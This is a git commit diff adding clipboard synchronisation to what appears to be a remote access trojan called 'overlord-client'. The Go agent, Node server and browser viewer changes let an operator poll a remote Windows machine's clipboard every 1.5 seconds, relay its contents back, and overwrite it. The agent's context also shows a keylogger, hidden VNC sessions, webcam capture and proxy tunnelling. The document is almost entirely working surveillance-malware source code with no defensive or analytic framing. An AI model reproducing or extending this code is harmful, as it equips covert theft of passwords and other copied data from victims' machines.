sync clipboard
This commit is contained in:
@@ -0,0 +1,12 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func ClipboardSyncStart(_ context.Context, _ *runtime.Env, _ string) {}
|
||||||
|
func ClipboardSyncSet(_ string) {}
|
||||||
@@ -0,0 +1,143 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
cbUser32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
cbKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
procOpenClipboardCB = cbUser32.NewProc("OpenClipboard")
|
||||||
|
procCloseClipboardCB = cbUser32.NewProc("CloseClipboard")
|
||||||
|
procGetClipboardCB = cbUser32.NewProc("GetClipboardData")
|
||||||
|
procEmptyClipboard = cbUser32.NewProc("EmptyClipboard")
|
||||||
|
procSetClipboardData = cbUser32.NewProc("SetClipboardData")
|
||||||
|
procGlobalAllocCB = cbKernel32.NewProc("GlobalAlloc")
|
||||||
|
procGlobalLockCB = cbKernel32.NewProc("GlobalLock")
|
||||||
|
procGlobalUnlockCB = cbKernel32.NewProc("GlobalUnlock")
|
||||||
|
procRtlMoveMemory = cbKernel32.NewProc("RtlMoveMemory")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
cbCFUnicodeText = 13
|
||||||
|
cbGMEMMoveable = 0x0002
|
||||||
|
)
|
||||||
|
|
||||||
|
func clipboardSyncRead() string {
|
||||||
|
r, _, _ := procOpenClipboardCB.Call(0)
|
||||||
|
if r == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer procCloseClipboardCB.Call()
|
||||||
|
h, _, _ := procGetClipboardCB.Call(cbCFUnicodeText)
|
||||||
|
if h == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
ptr, _, _ := procGlobalLockCB.Call(h)
|
||||||
|
if ptr == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer procGlobalUnlockCB.Call(h)
|
||||||
|
n := 0
|
||||||
|
for {
|
||||||
|
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
|
||||||
|
if v == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
n++
|
||||||
|
if n > 1<<20 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
|
||||||
|
return windows.UTF16ToString(u16)
|
||||||
|
}
|
||||||
|
|
||||||
|
func clipboardSyncWrite(text string) error {
|
||||||
|
r, _, _ := procOpenClipboardCB.Call(0)
|
||||||
|
if r == 0 {
|
||||||
|
return windows.ERROR_ACCESS_DENIED
|
||||||
|
}
|
||||||
|
defer procCloseClipboardCB.Call()
|
||||||
|
|
||||||
|
procEmptyClipboard.Call()
|
||||||
|
|
||||||
|
utf16, err := windows.UTF16FromString(text)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
size := len(utf16) * 2
|
||||||
|
|
||||||
|
hMem, _, _ := procGlobalAllocCB.Call(cbGMEMMoveable, uintptr(size))
|
||||||
|
if hMem == 0 {
|
||||||
|
return windows.ERROR_NOT_ENOUGH_MEMORY
|
||||||
|
}
|
||||||
|
|
||||||
|
ptr, _, _ := procGlobalLockCB.Call(hMem)
|
||||||
|
if ptr == 0 {
|
||||||
|
return windows.ERROR_LOCK_FAILED
|
||||||
|
}
|
||||||
|
|
||||||
|
procRtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&utf16[0])), uintptr(size))
|
||||||
|
procGlobalUnlockCB.Call(hMem)
|
||||||
|
|
||||||
|
r, _, _ = procSetClipboardData.Call(cbCFUnicodeText, hMem)
|
||||||
|
if r == 0 {
|
||||||
|
return windows.ERROR_ACCESS_DENIED
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func ClipboardSyncStart(ctx context.Context, env *runtime.Env, source string) {
|
||||||
|
log.Printf("clipboard_sync: starting (%s)", source)
|
||||||
|
defer log.Printf("clipboard_sync: stopped (%s)", source)
|
||||||
|
|
||||||
|
ticker := time.NewTicker(1500 * time.Millisecond)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
var lastContent string
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
content := clipboardSyncRead()
|
||||||
|
if content == "" || content == lastContent {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lastContent = content
|
||||||
|
text := content
|
||||||
|
if len(text) > 64*1024 {
|
||||||
|
text = text[:64*1024]
|
||||||
|
}
|
||||||
|
msg := wire.ClipboardContent{
|
||||||
|
Type: "clipboard_content",
|
||||||
|
Text: text,
|
||||||
|
Source: source,
|
||||||
|
}
|
||||||
|
if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil {
|
||||||
|
log.Printf("clipboard_sync: send failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func ClipboardSyncSet(text string) {
|
||||||
|
if len(text) > 64*1024 {
|
||||||
|
text = text[:64*1024]
|
||||||
|
}
|
||||||
|
if err := clipboardSyncWrite(text); err != nil {
|
||||||
|
log.Printf("clipboard_sync: write failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -698,6 +698,59 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
capture.SetMaxResolution(maxH)
|
capture.SetMaxResolution(maxH)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
|
case "clipboard_sync_start":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
source := "rd"
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["source"].(string); ok && v != "" {
|
||||||
|
source = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
env.ClipboardSyncMu.Lock()
|
||||||
|
if env.ClipboardSyncCancel != nil {
|
||||||
|
env.ClipboardSyncCancel()
|
||||||
|
if env.ClipboardSyncDone != nil {
|
||||||
|
<-env.ClipboardSyncDone
|
||||||
|
}
|
||||||
|
}
|
||||||
|
syncCtx, syncCancel := context.WithCancel(ctx)
|
||||||
|
env.ClipboardSyncCancel = syncCancel
|
||||||
|
env.ClipboardSyncSource = source
|
||||||
|
done := make(chan struct{})
|
||||||
|
env.ClipboardSyncDone = done
|
||||||
|
goSafe("clipboard_sync", env.Cancel, func() {
|
||||||
|
ClipboardSyncStart(syncCtx, env, source)
|
||||||
|
close(done)
|
||||||
|
})
|
||||||
|
env.ClipboardSyncMu.Unlock()
|
||||||
|
log.Printf("clipboard_sync: start (%s)", source)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "clipboard_sync_stop":
|
||||||
|
env.ClipboardSyncMu.Lock()
|
||||||
|
if env.ClipboardSyncCancel != nil {
|
||||||
|
env.ClipboardSyncCancel()
|
||||||
|
if env.ClipboardSyncDone != nil {
|
||||||
|
<-env.ClipboardSyncDone
|
||||||
|
}
|
||||||
|
env.ClipboardSyncCancel = nil
|
||||||
|
env.ClipboardSyncDone = nil
|
||||||
|
}
|
||||||
|
env.ClipboardSyncMu.Unlock()
|
||||||
|
log.Printf("clipboard_sync: stop")
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "clipboard_set":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
text := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["text"].(string); ok {
|
||||||
|
text = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ClipboardSyncSet(text)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
case "desktop_mouse_move":
|
case "desktop_mouse_move":
|
||||||
if !env.MouseControl {
|
if !env.MouseControl {
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
|||||||
@@ -40,6 +40,10 @@ type Env struct {
|
|||||||
WebcamCancel context.CancelFunc
|
WebcamCancel context.CancelFunc
|
||||||
WebcamDone chan struct{}
|
WebcamDone chan struct{}
|
||||||
WebcamMu sync.Mutex
|
WebcamMu sync.Mutex
|
||||||
|
ClipboardSyncCancel context.CancelFunc
|
||||||
|
ClipboardSyncDone chan struct{}
|
||||||
|
ClipboardSyncMu sync.Mutex
|
||||||
|
ClipboardSyncSource string // "rd" or "hvnc"
|
||||||
// Other fields
|
// Other fields
|
||||||
Plugins *plugins.Manager
|
Plugins *plugins.Manager
|
||||||
Keylogger *keylogger.Keylogger
|
Keylogger *keylogger.Keylogger
|
||||||
|
|||||||
@@ -228,6 +228,12 @@ type HVNCLookupResult struct {
|
|||||||
Done bool `msgpack:"done"`
|
Done bool `msgpack:"done"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type ClipboardContent struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Text string `msgpack:"text"`
|
||||||
|
Source string `msgpack:"source"`
|
||||||
|
}
|
||||||
|
|
||||||
type ProxyData struct {
|
type ProxyData struct {
|
||||||
Type string `msgpack:"type"`
|
Type string `msgpack:"type"`
|
||||||
ConnectionID string `msgpack:"connectionId"`
|
ConnectionID string `msgpack:"connectionId"`
|
||||||
|
|||||||
@@ -66,6 +66,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const agentFps = document.getElementById("agentFps");
|
const agentFps = document.getElementById("agentFps");
|
||||||
const viewerFps = document.getElementById("viewerFps");
|
const viewerFps = document.getElementById("viewerFps");
|
||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
|
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||||
|
|
||||||
function syncInputEnableState() {
|
function syncInputEnableState() {
|
||||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||||
@@ -92,6 +93,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
let h264ErrorCount = 0;
|
let h264ErrorCount = 0;
|
||||||
let h264RetryTimer = null;
|
let h264RetryTimer = null;
|
||||||
|
|
||||||
|
let clipboardSyncTimer = null;
|
||||||
|
let lastClipboardText = "";
|
||||||
|
let clipboardSyncActive = false;
|
||||||
|
|
||||||
const storedCodecPref = localStorage.getItem(codecPrefKey);
|
const storedCodecPref = localStorage.getItem(codecPrefKey);
|
||||||
if (storedCodecPref === "0") {
|
if (storedCodecPref === "0") {
|
||||||
prefersH264 = false;
|
prefersH264 = false;
|
||||||
@@ -179,6 +184,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
|
|
||||||
updateControls();
|
updateControls();
|
||||||
|
checkClipboardSync();
|
||||||
}
|
}
|
||||||
|
|
||||||
function updateControls() {
|
function updateControls() {
|
||||||
@@ -196,6 +202,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function startClipboardSync() {
|
||||||
|
if (clipboardSyncActive) return;
|
||||||
|
clipboardSyncActive = true;
|
||||||
|
lastClipboardText = "";
|
||||||
|
sendCmd("clipboard_sync_start", {});
|
||||||
|
clipboardSyncTimer = setInterval(async () => {
|
||||||
|
if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
|
||||||
|
stopClipboardSync();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const text = await navigator.clipboard.readText();
|
||||||
|
if (text && text !== lastClipboardText) {
|
||||||
|
lastClipboardText = text;
|
||||||
|
sendCmd("clipboard_sync", { text });
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}, 1500);
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopClipboardSync() {
|
||||||
|
if (!clipboardSyncActive) return;
|
||||||
|
clipboardSyncActive = false;
|
||||||
|
if (clipboardSyncTimer) {
|
||||||
|
clearInterval(clipboardSyncTimer);
|
||||||
|
clipboardSyncTimer = null;
|
||||||
|
}
|
||||||
|
sendCmd("clipboard_sync_stop", {});
|
||||||
|
}
|
||||||
|
|
||||||
|
function checkClipboardSync() {
|
||||||
|
const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
|
||||||
|
if (shouldSync && !clipboardSyncActive) {
|
||||||
|
startClipboardSync();
|
||||||
|
} else if (!shouldSync && clipboardSyncActive) {
|
||||||
|
stopClipboardSync();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clipboardSyncCtrl) {
|
||||||
|
clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
|
||||||
|
}
|
||||||
|
|
||||||
function clearOfflineTimer() {
|
function clearOfflineTimer() {
|
||||||
if (offlineTimer) {
|
if (offlineTimer) {
|
||||||
clearTimeout(offlineTimer);
|
clearTimeout(offlineTimer);
|
||||||
@@ -655,6 +704,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "clipboard_content") {
|
||||||
|
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||||
|
lastClipboardText = msg.text;
|
||||||
|
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -675,6 +731,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "clipboard_content") {
|
||||||
|
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||||
|
lastClipboardText = msg.text;
|
||||||
|
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function onWsOpen() {
|
function onWsOpen() {
|
||||||
|
|||||||
@@ -39,6 +39,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const viewerFps = document.getElementById("viewerFps");
|
const viewerFps = document.getElementById("viewerFps");
|
||||||
const inputLatency = document.getElementById("inputLatency");
|
const inputLatency = document.getElementById("inputLatency");
|
||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
|
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||||
ws.binaryType = "arraybuffer";
|
ws.binaryType = "arraybuffer";
|
||||||
|
|
||||||
let activeClientId = clientId;
|
let activeClientId = clientId;
|
||||||
@@ -79,6 +80,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const inputBackpressureBytes = 256 * 1024;
|
const inputBackpressureBytes = 256 * 1024;
|
||||||
let lastMoveSentAt = 0;
|
let lastMoveSentAt = 0;
|
||||||
|
|
||||||
|
let clipboardSyncTimer = null;
|
||||||
|
let lastClipboardText = "";
|
||||||
|
let clipboardSyncActive = false;
|
||||||
|
|
||||||
function resetH264RuntimeState() {
|
function resetH264RuntimeState() {
|
||||||
h264TimestampUs = 0;
|
h264TimestampUs = 0;
|
||||||
h264LowFpsStreak = 0;
|
h264LowFpsStreak = 0;
|
||||||
@@ -181,6 +186,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
|
|
||||||
updateControls();
|
updateControls();
|
||||||
|
checkClipboardSync();
|
||||||
}
|
}
|
||||||
|
|
||||||
function updateControls() {
|
function updateControls() {
|
||||||
@@ -199,6 +205,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function startClipboardSync() {
|
||||||
|
if (clipboardSyncActive) return;
|
||||||
|
clipboardSyncActive = true;
|
||||||
|
lastClipboardText = "";
|
||||||
|
sendCmd("clipboard_sync_start", {});
|
||||||
|
clipboardSyncTimer = setInterval(async () => {
|
||||||
|
if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
|
||||||
|
stopClipboardSync();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const text = await navigator.clipboard.readText();
|
||||||
|
if (text && text !== lastClipboardText) {
|
||||||
|
lastClipboardText = text;
|
||||||
|
sendCmd("clipboard_sync", { text });
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}, 1500);
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopClipboardSync() {
|
||||||
|
if (!clipboardSyncActive) return;
|
||||||
|
clipboardSyncActive = false;
|
||||||
|
if (clipboardSyncTimer) {
|
||||||
|
clearInterval(clipboardSyncTimer);
|
||||||
|
clipboardSyncTimer = null;
|
||||||
|
}
|
||||||
|
sendCmd("clipboard_sync_stop", {});
|
||||||
|
}
|
||||||
|
|
||||||
|
function checkClipboardSync() {
|
||||||
|
const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
|
||||||
|
if (shouldSync && !clipboardSyncActive) {
|
||||||
|
startClipboardSync();
|
||||||
|
} else if (!shouldSync && clipboardSyncActive) {
|
||||||
|
stopClipboardSync();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clipboardSyncCtrl) {
|
||||||
|
clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
|
||||||
|
}
|
||||||
|
|
||||||
function updateLatency(ms) {
|
function updateLatency(ms) {
|
||||||
if (ms < 0 || !Number.isFinite(ms)) return;
|
if (ms < 0 || !Number.isFinite(ms)) return;
|
||||||
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
|
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
|
||||||
@@ -853,6 +902,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
updateLatency(Number(msg.ms) || 0);
|
updateLatency(Number(msg.ms) || 0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "clipboard_content") {
|
||||||
|
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||||
|
lastClipboardText = msg.text;
|
||||||
|
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -865,6 +921,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
updateLatency(Number(msg.ms) || 0);
|
updateLatency(Number(msg.ms) || 0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "clipboard_content") {
|
||||||
|
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
|
||||||
|
lastClipboardText = msg.text;
|
||||||
|
navigator.clipboard.writeText(msg.text).catch(() => {});
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
ws.addEventListener("open", function () {
|
ws.addEventListener("open", function () {
|
||||||
|
|||||||
@@ -130,6 +130,9 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||||
>
|
>
|
||||||
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||||
|
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||||
|
>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -136,6 +136,9 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)"
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)"
|
||||||
><input type="checkbox" id="duplicationCtrl" /> GPU Capture</label
|
><input type="checkbox" id="duplicationCtrl" /> GPU Capture</label
|
||||||
>
|
>
|
||||||
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||||
|
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||||
|
>
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
|
||||||
<span class="text-slate-400">Smoothing</span>
|
<span class="text-slate-400">Smoothing</span>
|
||||||
<input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
|
<input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
|
||||||
|
|||||||
@@ -80,6 +80,7 @@ import {
|
|||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
handleHVNCLookupResult,
|
handleHVNCLookupResult,
|
||||||
|
handleClipboardContent,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
hvncStreamingState,
|
hvncStreamingState,
|
||||||
@@ -477,6 +478,7 @@ async function startServer() {
|
|||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
handleHVNCLookupResult,
|
handleHVNCLookupResult,
|
||||||
|
handleClipboardContent,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
sendDesktopCommand,
|
sendDesktopCommand,
|
||||||
|
|||||||
@@ -97,7 +97,10 @@ export type CommandType =
|
|||||||
| "plugin_load_chunk"
|
| "plugin_load_chunk"
|
||||||
| "plugin_load_finish"
|
| "plugin_load_finish"
|
||||||
| "plugin_unload"
|
| "plugin_unload"
|
||||||
| "agent_update";
|
| "agent_update"
|
||||||
|
| "clipboard_set"
|
||||||
|
| "clipboard_sync_start"
|
||||||
|
| "clipboard_sync_stop";
|
||||||
|
|
||||||
export type Command = {
|
export type Command = {
|
||||||
type: "command";
|
type: "command";
|
||||||
|
|||||||
@@ -77,6 +77,7 @@ type WsLifecycleDeps = {
|
|||||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||||
|
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||||
@@ -529,6 +530,9 @@ export async function handleWebSocketMessage(
|
|||||||
case "hvnc_lookup_result":
|
case "hvnc_lookup_result":
|
||||||
deps.handleHVNCLookupResult(client.id, payload);
|
deps.handleHVNCLookupResult(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "clipboard_content":
|
||||||
|
deps.handleClipboardContent(client.id, payload);
|
||||||
|
break;
|
||||||
case "proxy_data": {
|
case "proxy_data": {
|
||||||
const connId = (payload as any).connectionId;
|
const connId = (payload as any).connectionId;
|
||||||
const tunnelData = (payload as any).data;
|
const tunnelData = (payload as any).data;
|
||||||
|
|||||||
@@ -434,6 +434,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
|
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "clipboard_sync": {
|
||||||
|
if (!state.isStreaming) break;
|
||||||
|
const text = String(payload.text || "");
|
||||||
|
if (text) {
|
||||||
|
sendDesktopCommand(target, "clipboard_set", { text });
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "clipboard_sync_start": {
|
||||||
|
if (!state.isStreaming) break;
|
||||||
|
sendDesktopCommand(target, "clipboard_sync_start", { source: "rd" });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "clipboard_sync_stop": {
|
||||||
|
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -504,6 +521,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleClipboardContent(clientId: string, payload: any) {
|
||||||
|
const text = String(payload.text || "");
|
||||||
|
const source = String(payload.source || "");
|
||||||
|
if (!text) return;
|
||||||
|
if (source === "hvnc") {
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||||
const payload = decodeViewerPayload(raw);
|
const payload = decodeViewerPayload(raw);
|
||||||
if (!payload || typeof payload.type !== "string") return;
|
if (!payload || typeof payload.type !== "string") return;
|
||||||
@@ -734,6 +766,23 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "clipboard_sync": {
|
||||||
|
if (!state.isStreaming) break;
|
||||||
|
const text = String(payload.text || "");
|
||||||
|
if (text) {
|
||||||
|
sendHVNCCommand(target, "clipboard_set", { text });
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "clipboard_sync_start": {
|
||||||
|
if (!state.isStreaming) break;
|
||||||
|
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "clipboard_sync_stop": {
|
||||||
|
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"webcam_devices",
|
"webcam_devices",
|
||||||
"hvnc_clone_progress",
|
"hvnc_clone_progress",
|
||||||
"hvnc_lookup_result",
|
"hvnc_lookup_result",
|
||||||
|
"clipboard_content",
|
||||||
"proxy_data",
|
"proxy_data",
|
||||||
"proxy_close",
|
"proxy_close",
|
||||||
]);
|
]);
|
||||||
|
|||||||
Reference in New Issue
Block a user